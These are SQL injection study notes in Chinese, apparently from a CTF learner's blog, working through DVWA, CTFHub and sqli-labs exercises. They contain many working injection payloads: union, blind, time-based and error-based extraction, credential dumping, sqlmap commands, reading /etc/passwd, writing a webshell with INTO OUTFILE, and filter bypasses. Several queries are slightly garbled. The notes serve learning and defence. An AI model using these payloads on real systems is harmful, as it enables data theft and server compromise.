sql注入学习

Sl0th Lv4

SQL注入原理

一、定义

SQL注入是指在判断出注入点后,将恶意的SQL语句添加到输入参数中,使得后台服务器执行添加的SQL语句,从而达到窃取网站敏感信息等目的

二、实例及原理

2.1字符型注入(dvwa平台sql注入简单级别)

查看回显

输入用户id为1,发现URL中也出现ID=1,说明使用get方式传参数,查看回显,返回了ID为1的用户信息

1
1

审计源代码

  • 发现主要执行的SQL语句为:
1
SELECT first_name, last_name FROM users WHERE user_id = '$id' union select 1,2

类似这类传入参数以'包裹的称为字符型注入,可以通过传入 1' xxx#(xxx为恶意的SQL语句)的方式来执行恶意的SQL语句
原因:

  • 数字后跟的'与源码中$id前的'优先匹配,后面的SQL语句只要用union与前面的SELECT语句连接,就可以做到让后台服务器执行能达到攻击目的的SQL语句。
  • 最后的#作用是将语句结尾的';注释掉,将'注释掉是为了防止语法错误,并且对于单句SQL语句即使没有;也可以正常执行
  • 回显部分的代码为:
1
2
3
4
5
6
7
8
<?php
while($row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br/>First name: {$first}<br/>Surname: {$last}</pre>";
}

由于使用while循环,可以猜想到如果执行的SQL语句union上别的SQL语句(联合查询),只要查询的字段数和类型相同,每一行的数据都可以被回显出来

判断列数

SQL语言中order by关键字用于给查询的表添加排序条件并且处于SELECT语句末尾,正常情况下我们并不知道查询结果的字段名,但可以在order by后直接跟数字1表示按第一字段排序,用此方式发现在输入 1' and order by 3#时发生错误,因此得知查询结果总列数为2,这表示之后union 后的select语句仅仅只能查询两个字段

1
1

获取库名、表名、字段名

  • 获取库名,要想获取关键信息,得知道库名、表名、字段名,利用user()和database()函数分别获取用户名和数据库名称
    1
    1

由于该情景下union后的select语句必须有两个字段,这里主要获取数据库名称,user()可以替换成其他函数或者常量等等都可以

获取所有库名

1
SELECT group_concat(schema_name) FROM information_schema.schemata
  • 获取表名,这边需要了解到information_schema是mysql自带的数据库,其中名为tables的表中的两个字段table_nametable_schema记录了DBMS中的存储的表名和表名所在的数据库。现在我们已经知道了数据库名称为dvwa,可以加入WHERE进行条件查询,最终后台服务器运行的SQL语句为:
1
2
3
4
SELECT first_name, last_name FROM users WHERE user_id = '1'
union
select table_name, table_schema from information_schema.tables
where table_schema= 'dvwa'

得到表名有两个,分别为guestbookusers,根据经验判断网站敏感信息存储在users表中

  • 获取字段名,information_schema中有一张名为columns的表,其中column_name存储了字段名,通过增加条件table_name = 'users',成功获取users表的字段名

    1
    1

  • 获取敏感信息: 从字段名可看出,user和password存储着重要信息,添加select user, password from dvwa.users 即可得到账号及密码,密码使用了md5加密

    1
    1

2.2 整数型注入(CTFHub技能树)

  • 输入1,由下方红字提示输入的内容没有被'包裹,这种称为整数型输入,输入1 and 1=2没有回显也可以验证这是整数型注入,因为如果是字符型,字符串’1 and 1=2’自动转换成整数1,仍有回显
    1
    1

SQL中字符串自动转换成整型规律:从左边第一个字符开始排查起,转换成出现的第一个非数字字符前的数字对应的整型,如果第一个字符就不是数字,则转换成0

  • 继续使用同字符型注入同样的方法,判断完列数后在输入的ID后跟上union语句,发现回显仍为id为1的信息,原因猜测是该网页只会回显查询结果的第一行,因此要实现让前一个select语句查询结果为空,可以让其WHERE后跟的条件始终为加,如:1 and 1=2
    1
    1
  • 剩下的同字符型注入一样的流程:得到数据库名、表名、字段名,需要注意的是,查询结果只返回一行,为了防止查询结果有多行无法显示完全,使用group_concat(字段名)函数,将所有行综合为一行输出,最终得到flag
    1
    1

2.3 SQL盲注

盲注指SQL语句执行查询后,查询数据不能回显到前端页面中

可能需要用到的函数、关键字

  • substr(字符串,索引开始位,索引结束位):用于获取字符串中的特定字符
  • limit 开始行数的索引,显示的总行数:放在select查询语句最后,限制显示行数,索引从0开始
  • ascii(字符):将某个字符转换为ascii值
  • ord(str):函数返回字符串str的最左边字符的ASCII码值

布尔盲注(字符型为例)

适用于回显只有两种的情况,如User ID exists in the database.User ID is MISSING from the database.分别对应了输入语句返回的布尔值。

  • 如果采用手动注入,一般要结合二分查找、穷举法等方法来逐一破解出库、表、字段的名称。(以下为猜解数据库名称的例子)
1
2
3
1' union select count(schema_name) from information_schema.schemata)> n # //猜解数据库个数
1' and length(database())=n # //n为大于1的整数,猜解数据库名称长度
1' union select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n # //n为大小写字母对应的ASCII码值,此处需借用二分查找来逐一确定每一个数据库的名称
  • 可以借用sqlmap工具来自动化实现这种机器的过程,mac下具体指令为
1
2
3
4
sqlmap -u "网址" --batch --dbs  //获取数据库名称,batch意思为不询问输入默认输入Y
sqlmap -u "网址" --batch -D 数据库名 --tables //获取表名
sqlmap -u "网址" --batch -D 数据库名 -T 表名 --columns //获取字段名
sqlmap -u "网址" --batch -D 数据库名 -T 表名 -C 字段名 --dump //获取字段内存储信息

最终得到flag

1
1

时间盲注(字符型为例)

仅要求有回显,主要原理是利用SQL中if函数及sleep函数再加上其他用于拆解字符串、转换字符为ASCII码值的函数,sleep函数作为if函数的第二个参数,猜解名称的函数作为if的第一个参数,第三个参数可以任意赋值,但不能与sleep函数相同,因此若猜解函数返回正确,则执行sleep函数,效果为网页延迟了设定的描述才显示。

1
1' and if ((ascii(substr(database(),1,1))=100),sleep(3),1) # //判断数据库名称第一个字符是否为'd',结果显示明显延迟

三、判断注入点

3.1判断是否存在SQL注入漏洞

输入1'如果报错,则存在注入漏洞,报错原因是单引号数量不匹配,如果没报错,说明可能该网页过滤了单引号

3.2判断是字符型还是整数型

  • 输入1 and 1=21'#1' and '1'='1若都回显id为1的信息,则为字符型
  • 输入1 and 1=2没有回显,且输入1 and 1=1有回显,则为数字型,原因1 and 1=2恒为假,过滤掉所有的行

3.3判断能否时间盲注

MySQL benchmark(100000000,md(5))sleep(3)
PostgreSQL PG_sleep(5)Generate_series(1,1000000)
SQLServer waitfor delay ‘0:0:5’

3.4判断数据库类型

1
2
3
4
5
6
7
8
//判断是否是 Mysql数据库'
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) #
//判断是否是 access数据库'
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #
//判断是否是 Sqlserver数据库'
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #
//判断是否是Oracle数据库'
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(*) from dual)>0 #

四、常用函数、基础知识

系统函数

  • system_user()——系统用户名
  • user()——用户名
  • current_user()——当前用户名
  • session_user()——链接数据库的用户名
  • database()——数据库名
  • version()——数据库版本
  • @@datadir——数据库路径
  • @@basedir——数据库安装路径
  • @@version_conpile_os——操作系统

字符串连接函数

  • concat(str1,str2,…)——没有分隔符地连接字符串
  • concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
  • group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据。

两种注释

  • –+
  • #(url编码%23)

sql中的逻辑运算

万能密码构造

1
username=’admin’ andpassword=’’or 1=1

在sql中and运算符优先级大于or运算符,类比&&>||

sql中也能使用位运算

1
Select * from users where id=1 & 1=1;

&的优先级大于=

order by

1
order by 字段 [asc|desc]; # asc升序,默认的

用于判断列数,不知道列名时用1 2 3……表示第1 2 3……列

系统数据库(information_schema)

mysql版本>=5.0

该库中有三个表schemata(各数据库名schema_name)、tables(各表名table_name)、columns(各列名)

1
2
3
select group_concat(schema_name) from information_schema.schemata # 查数据库名
select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'; #查表名
select group_concat(column_name) from information_schema.columns where table_name='xxxxx'; #查列名

五、注入类型

SQL注入的分类

依据注入点类型分类

  • 数字类型的注入

  • 字符串类型的注入

  • 搜索型注入

依据提交方式分类

  • GET注入

  • POST注入

  • COOKIE注入

  • HTTP头注入(XFF注入、UA注入、REFERER注入)

依据获取信息的方式分类

  • 基于布尔的盲注

  • 基于时间的盲注

  • 基于报错的注入

  • 联合查询注入

  • 堆叠注入 (可同时执行多条语句)

联合注入

要求列数一致

字符型

1
2
'
?id=-1' union select 1,database(),group_concat(schema_name) from information_schema.schemata --+

整型的也差不多,去掉’

部分题目也可能在字符型基础上加括号等,若注释被屏蔽

1
'?id=-1' union select …… or '1'='1

堆叠注入

多条sql语句一起执行,利用加;的操作

局限性

受到API或数据库引擎不支持,权限不足等

常见思路

可考虑使用RENAME关键字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名。

1
2
3
4
show tables; #查看所有表
show columns from `表名`; #看列
RENAME TABLE `words` TO `words1`; #改名为words1
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#将新words表的列flag改为id

常见bypass

过滤select时,使用handler语句(mysql专用语句)

1
2
3
4
handler users open as hd; #指定数据表users进行载入并将返回句柄重命名为hd
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄

预处理

1
2
3
4
5
prepare xxx from "sql语句";
execute xxx;
#由于sql语句是字符串,因此可以使用操作字符串的函数,绕过一些过滤
#比如过滤了select
PREPARE st from concat('s','elect', ' * from `1919810931114514`');EXECUTE st;#

例题:强网杯随便注

布尔盲注

截取字符串常用函数

  • mid(): mid(s,n,len); 从字符串 s 的 n 位置截取长度为 len 的子字符串

  • substr()/substring(): substr(s, start, length); substring(s, start, length) 从字符串 s 的 start 位置截取长度为 length 的子字符串

  • left(): left(s,n); 返回字符串 s 的前 n 个字符

  • right(): right(s,n); 返回字符串 s 的后 n 个字符

  • ascii()/ord() ascii(s);/ord(s); 返回字符串 s 的第一个字符的 ASCII 码。 这里不考虑多字节字符,比如汉字

  • trim()/rtrim()/ltrim()

    • ltrim(s); 去掉字符串s开始处的空格
    • rtrim(s); 去掉字符串s结尾处的空格
    • trim(s); 去掉字符串开始和结尾处的空格
    1
    2
    3
    4
    TRIM([BOTH/LEADING/TRAILING] 目标字符串 FROM 源字符串);
    BOTH删除两边的指定字符串
    LEADING删除左边的指定字符串
    TARILING删除右边的指定字符串
    1
    select trim(LEADING "a" from "abcd") = trim(LEADING "b" from "abcd");

    以这个为例,我们将删除的字符串ASCII差限制在1,例如a和b 当这个结果返回0时(说明有一个成功匹配),则第一个字符是a或者b。

    接着让a的ASCII+2变成c,如果返回1(bc都不匹配),则字符串第一位为a,反之第一位为b。

    这样做的目的是为了方便写脚本 第二个字符判断 select trim(LEADING “aa” from “abcd”) = trim(LEADING “ab” from “abcd”); 接着重复上面的过程,判断第二个字符 以此推出整个字符串

    如果=用regexp替代那么正确的字符一定在regexp前面以这个abcd为例 Trim(leading ‘a’ from ‘abcd’) regexp trim(LEADING ‘x’ from ‘abcd’) 就是bcd regexp abcd返回0, 如果反过来就是abcd regexp bcd 返回1 因此只需判断第一步即可,而不需要ASCII+2去判断了

    ⚠️:如果用regexp,要先在trim(LEADING "a" from "abcd") != trim(LEADING "b" from "abcd")的条件下,因为两个相同字符串间的regexp也会返回1

    注:y1ng师傅在[HFCTF 2021 Final]hatenum中用到了这个方法,通过持续递归,多次套娃trim。如果字符串长度被限制,可使用。一次只截断几个字符

    1
    select trim(LEADING "b" from trim(LEADING "a" from "abcd")); -- cd 

    先截断a,返回字符串bcd,在截断b,返回字符串cd

  • Insert()

    INSERT(s1,x,len,s2) 字符串 s2 替换 s1 的 x 位置开始长度为 len 的字符串

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    例子:第一步删除起始的前x位
    SELECT INSERT("abcdef", 1,0, "");
    -- 输出:abcdef
    SELECT INSERT("abcdef", 1,1, "");
    -- 输出:bcdef
    第二步套娃删除x+1位以后的所有
    SELECT INSERT((INSERT("abcdef", 1,0, "")),2,9999,"");
    -- 输出:a
    SELECT INSERT((INSERT("abcdef", 1,1, "")),2,9999,"");
    -- 输出:b

盲注常用方法

  • if/case 用在select查询当中,当做一种条件来进行判断

    1
    2
    3
    4
    5
    6
    7
    8
    9
    if(条件,为真结果,为假结果)
    # case语法(两种)
    简单函数
    CASE [col_name] WHEN [value1] THEN [result1]…ELSE [default] END
    搜索函数
    CASE WHEN [expr] THEN [result1]…ELSE [default] END
    select case 'b' when 'a' then 1 when 'b' then 2 else 0 end; #2
    select case 'a' when 'a' then 1 else 0 end; #1
    select case when 98>12 then 1 when 3<1 then 2 when 98>3 then 3 else 0 end; #1

    搜索函数优先匹配第一个为真的条件,也可以只写一个条件,代替if语句

  • regexp/rlike 正则表达式注入(可以代替if)

    1
    2
    3
    4
    select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
    select * from users where id=1 and 1=(user() regexp'^ri'); # i表示不区分大小写

    select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
    1
    2
    select * from users where id=1 and 1=(select 1 from information_schema.tables
    where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

    这里只要更换regexp表达式即可

    image-20220708162044974
    image-20220708162044974

    注:regexp不区分大小写,需要大小写敏感要加上binary关键字

    1
    select binary database() regexp "^CTF";
  • like匹配注入(适用于=被过滤)

    1
    select user() like 'ro%';
  • benchmark函数 测试操作性能

  • get_lock

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    //第一个连接
    mysql> select get_lock('aaa',1);
    +-------------------+
    | get_lock('aaa',1) |
    +-------------------+
    | 1 |
    +-------------------+
    1 row in set (0.00 sec)
    //打开另一个cmd 再次连接mysql,执行get_lock,发现延时
    mysql> select get_lock('aaa',1);
    +-------------------+
    | get_lock('aaa',1) |
    +-------------------+
    | 0 |
    +-------------------+
    1 row in set (1.00 sec)

    利用场景是有条件限制的:需要提供长连接。在Apache+PHP搭建的环境中需要使用mysql_pconnect(打开一个到 MySQL 服务器的持久连接)函数来连接数据库。在CTF中,只有出题人很刻意的使用这个函数,才暗示使用这个

时间盲注

1
2
3
if(ascii(substr(database(),1,1))>115,0,sleep(5))#
# sleep延时
select sleep(find_in_set(mid(@@version,1,1),'0,1,2,3,4,5,6,7,8,9,.'));# 在0-9.中找版本号第一位

sleep函数延时不常用,时间可能因网速影响

利用BENCHMARK()进行延时注入

1
2
'http://127.0.0.1/sqli-labs/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
# 当结果正确的时候,运行ENCODE('MSG','by 5 seconds')操作50000000 次,会占用一段时间。

报错注入

报错盲注–floor报错

适用于低版本,mysql8似乎被修复

floor报错注入是利用 select count(*),(floor(rand(0)*2)) x from users group by x这个相对固定的语句格式,导致的数据库报错

函数说明

  • rand() 是一个随机函数(产生0到1间随机浮点数),直接使用每次产生的数都不同,但是当提供了一个固定的随机数的种子0之后:这样每次产生的值都是一样的。
  • floor(rand(0)*2) floor()是向下取整,这样可以得到只含0 1的伪随机序列

报错原因

当执行以下语句时会报错(主键冲突)

1
select count(*),floor(rand(0)*2) x from users group by x;

主要利用floor(rand(0)*2)的结果规律为0 1 1 0 1 1,当数据表中最少需要三条数据才会报错

floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。

payload

1
2
3
4
5
6
7
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;
#也可以简化成
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
#关键表被过滤时
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
#rand被过滤 适用用户变量
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
爆库
select 1 from ( select count(*),(concat((select schema_name from information_schema.schemata limit
0,1),'|',floor(rand(0)*2)))x from information_schema.tables group by x )a;
http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆表
select 1 from (select count(*),(concat((select table_name from information_schema.tables where
table_schema=database() limit 0,1),'|',floor(rand(0)*2)))x from information_schema.tables group by x)a;
爆字段
select 1 from (select count(*),(concat((select column_name from information_schema.columns where
table_schema=database() and table_name=‘users’ limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables
group by x)a;
爆数据
select 1 from (select count(*),(concat((select concat(name,’|’,passwd,’|’,birth) from users limit
0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a;
select 1 from(select count(*),concat((select (select (SELECT concat(0x23,name,0x3a,passwd,0x23) FROM users limit
0,1)) from information_schema.tables limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a

几何函数

1
2
3
4
5
6
GeometryCollection:id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
polygon():id=1 AND polygon((select * from(select * from(select user())a)b))
multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b))
multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b))
linestring():id=1 AND LINESTRING((select * from(select * from(select user())a)b))
multipolygon() :id=1 AND multipolygon((select * from(select * from(select user())a)b))

不存在函数

爆数据库

image-20220708181105742
image-20220708181105742

name_const()

1
2
3
获取版本信息
select * from(select name_const(version(),0x1),name_const(version(),0x1))a;
# 1060 - Duplicate column name '8.0.27'

uuid相关函数

mysql:8.0.x

1
2
3
4
mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));
# 1146 - Table 'test.users' doesn't exist
mysql> SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));
# 1146 - Table 'test.users' doesn't exist

exp() 适用版本 5.5.5-5.5.49

1
2
3
4
5
6
7
8
9
select exp(~(select * FROM(SELECT USER())a));
--其中,~符号为运算符,意思为一元字符反转,通常将字符串经过处理后变成大整数,再放到exp函 数内,得到的结果将超过mysql的double数组范围,从而报错输出。除了exp()之外,还有类似pow()之类的相似函数同样是可利用的,他们的原理相同。
--double 数值类型超出范围
--Exp()为以e 为底的对数函数;

--ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

如果是在适用版本之外:虽然也会报错,但是表名不会出来
select !(select * from(select user())a)-~0;

exp报错(转载)使用exp进行SQL报错注入 - lcamry - 博客园 (cnblogs.com)

pow()结合盲注

1
2
3
4
select pow(1+(表达式),999999999999)
# 表达式可以是盲注的形式,返回1或者0,通过报错将字符猜出来,报错回显的表达式是返回1
# 同样方式用在exp上(临界值为709)
exp(709+(表达式))

bigint 溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html

1
'?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

xpath语法错误–较常用

报错原因,0x7e就是~不属于xpath语法格式

1
2
3
select extractvalue(1,concat(0x7e,(select @@version),0x7e));
select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
# 适用版本: 5.1.5+

updatexml三个参数

  • 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1

  • 第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。

  • 第三个参数:new_value,String 格式,替换查找到的符合条件的数据**

注意加select防止不回显,当显示字符有限时,常用字符串截断substr配合

1
2
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
--mysql 重复特性,此处重复了version,所以报错。

Join using()注列名

mysql8修复

报错存在重复的列名

1
2
3
mysql>select * from(select * from users a join (select * from users)b)c; # 报错信息内回显第一列名称
mysql>select * from(select * from users a join (select * from users)b using(username))c;# 第二列
mysql>select * from(select * from users a join (select * from users)b using(username,password))c;# 第三列

GTID相关函数

版本>=5.6.5

1
2
3
4
mysql>select gtid_subset(user(),1); # 报错回显用户
mysql>select gtid_subset(hex(substr((select * from users limit
1,1),1,1)),1);
mysql>select gtid_subtract((select * from(select user())a),1); # 报错回显用户

导入导出文件

查看限制

secure_file_priv

image-20220708190755416
image-20220708190755416

load_file()导出文件

load_file(filename)

image-20220708190902690
image-20220708190902690

1
2
select load_file('/flag');
select convert(load_file("/etc/passwd") using utf8);

详见SQL注入总结 – cc (ccship.cn)

二次注入

常见思路

如果是单引号闭合

注册一个admin'#账户,登录修改其密码,则实际改的是admin的密码

宽字节注入

宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,使得攻击者可以通过宽字节编码绕过SQL注入防御。

宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入。PHP的编码为UTF-8 而MySql的编码设置为了SET NAMES ‘gbk’ 或是SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。

相关函数

  • addslashes() :这个函数在预定义字符之前添加反斜杠 \ 。预定义字符: 单引号 ‘ 、双引号 ” 、反斜杠 \ 、NULL。但是这个函数有一个特点就是虽然会添加反斜杠 \ 进行转义,但是 \ 并不会插入到数据库中。

    这个函数功能与魔术引号功能完全相同,如果魔术引号打开就不要用这个函数了

  • 三个魔术引号功能

    1. magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。 参见 get_magic_quotes_gpc()。如果 magic_quotes_gpc 关闭时返回 0,开启时返回 1。在 PHP 5.4.0 起将始终返回 0,因为这个魔术引号功能已经从 PHP 中移除了。

    2. magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。 参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。

    3. magic_quotes_sybase (魔术引号开关)如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话,单引号将会被转义成 ”。而双引号、反斜线 和 NULL 字符将不会进行转义。

gbk编码

1
2
3
4
用户名输入:admin%df' or 1=1#
转义后为: admin%df\' or 1=1#
SET character_set_client ='gbk'后:admin運' or 1=1#
执行语句:... where username='admin運' or 1=1#'

%df吃掉\的原因是,urlencode(\')=%5c%27 ,添加%df后形成%df%5c%27,而上面提到的mysql 在GBK 编码方式的,第一位范围为0x00-0x7F时,当作一个字符。%df不在这个范围内,因此会将两个字节当做一个汉字,此时%df%5c 就是一个汉字,%27(‘) 则作为一个单独的符号在外面,同时也就达到了我们的目的

utf8编码、Latin1编码

UTF-8编码是变长编码,可能有1~4个字节表示:

  • 一字节时范围是[00-7F]
  • 两字节时范围是[C0-DF][80-BF]
  • 三字节时范围是[E0-EF][80-BF][80-BF]
  • 四字节时范围是[F0-F7][80-BF][80-BF][80-BF]

然后根据RFC 3629规范,又有一些字节值是不允许出现在UTF-8编码中, 所以最终,UTF-8第一字节的取值范围是:00-7F、C2-F4。

1
2
输入:?username=admin%c2
%c2是Latin1字符集不存在的字符,%00-%7F可以直接表示某个字符、%C2-%F4不可以直接表示某个字符而只是其他长字节编码结果的首字节。对于不完整的长字节UTF-8编码的字符,进行字符集转换时会直接忽略,所以admin%c2会变成admin

修复

  • 在调用 mysql_real_escape_string() 函数之前,先设置连接所使用的字符集为GBK ,mysql_set_charset=(‘gbk’,$conn)

  • 所以防止宽字节注入的另一个方法就是将 character_set_client 设置为binary(二进制)。需要在所有的sql语句前指定连接的形式是binary二进制:

    1
    mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn); 

    当我们的MySQL收到客户端的请求数据后,会认为他的编码是character_set_client所对应的编码,也就是二进制。然后再将它转换成character_set_connection所对应的编码。然后进入具体表和字段后,再转换成字段对应的编码。当查询结果产生后,会从表和字段的编码转换成character_set_results所对应的编码,返回给客户端。所以,当我们将character_set_client编码设置成了binary,就不存在宽字节注入的问题了,所有的数据都是以二进制的形式传递。

约束攻击

当数据库字符串长度过短,并且后端没有对字符串进行长度限制时

select 语句对于参数后面空格的处理是删除,insert只是截取最大长度的字符串,然后插入数据库。

1
2
3
4
create table users(
username varchar(25),
password varchar(25)
)

最大长度限制(具体看表的定义)为25 我们输入用户名为 admin[20个空格]1,密码随意。脚本查询的时候因为用了select 语句,空格被删除,剩下了admin1。

注册时:INSERT取前25位->admin[20个空格]和自己设定的密码当成了一个新用户->select查找admin,返回两条

数据库里面的空格也在查询的时候被删除了再比较

order by 后的注入

order by参数后注入

1
2
$id=$_GET['sort'];  
$sql = "SELECT * FROM users ORDER BY $id";

sort可以是sql语句,只要保证返回一行一列或者是一个数字或布尔类型也可以,一般有以下三种

  • 直接注入语句(要返回单行单列) ?sort=(select ……)

  • 利用函数rand ?sort=rand(sql语句)

    • 利用的是rand(true)与rand(false)导致题目回显不同而构造盲注条件

    也可以用报错注入

    1
    ?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
  • 利用and ?sort=1 and(sql语句)

    • 这里的sql语句可以用延时注入
    1
    ?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(5))

procedure analyse 参数后注入

此方法适用于MySQL 5.x中,在limit语句后面的注入 利用procedure analyse 参数,我们可以执行报错注入。

同时,在procedure analyse 和order by 之间可以存在limit 参数,我们在实际应用中,往往也可能会存在limit 后的注入,可以利用procedure analyse 进行注入

1
2
3
4
5
http://127.0.0.1/sqli-labs/Less-46/?sort=1  procedure analyse(extractvalue(rand(),con
cat(0x3a,version())),1)
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
# 如果不支持报错注入的话,还可以基于时间注入:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

导入导出文件into outfile 参数

1
2
3
4
5
6
http://127.0.0.1/sqli-labs/Less-46/?sort=1 into outfile "c:\\wamp\\www\\sqllib\\test
1.txt"
# 将查询结果导入到文件当中
# 那这个时候我们可以考虑上传网马,利用lines terminated by
Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(网马进行16 进制转
换)

六、常见bypass

SQL注入绕过技巧 | 瓦都剋 (dropsec.xyz)

Information_schema被屏蔽或过滤or时

聊一聊bypass information_schema - 安全客,安全资讯平台 (anquanke.com)

MySQL5.7的新特性

由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

innodb表–查找当前数据库的现存表

MySQL 5.6 及以上版本存在innodb_index_stats,innodb_table_stats两张表,其中包含新建立的库和表

1
2
select table_name from mysql.innodb_table_stats where database_name = database(); # 返回去重过后的表名(简洁)
select table_name from mysql.innodb_index_stats where database_name = database(); # 返回值中会出现重复的表名

sys表

在MySQL 5.7.9中sys中新增了一些视图,可以从中获取表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#包含in
SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = database();
SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
SELECT table_schema FROM sys.schema_table_statistics GROUP BY table_schema;
#不包含in
SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY table_schema;
#通过表文件的存储路径获取表名
SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();

#查询指定库的表(若无则说明此表从未被访问)
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema='mspwd' GROUP BY table_name;
SELECT table_name FROM sys.x$schema_flattened_keys WHERE table_schema='mspwd' GROUP BY table_name;
#统计所有访问过的表次数:库名,表名,访问次数
select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by
table_schema,table_name order by io desc;
#查看所有正在连接的用户详细信息
SELECT user,db,command,current_statement,last_statement,time FROM sys.session;
#查看所有曾连接数据库的IP,总连接次数
SELECT host,total_connections FROM sys.host_summary;
# 包含之前查询记录的表
SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();

performance_schema表

1
2
3
4
5
6
7
8
9
SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();
#包含之前查询记录的表
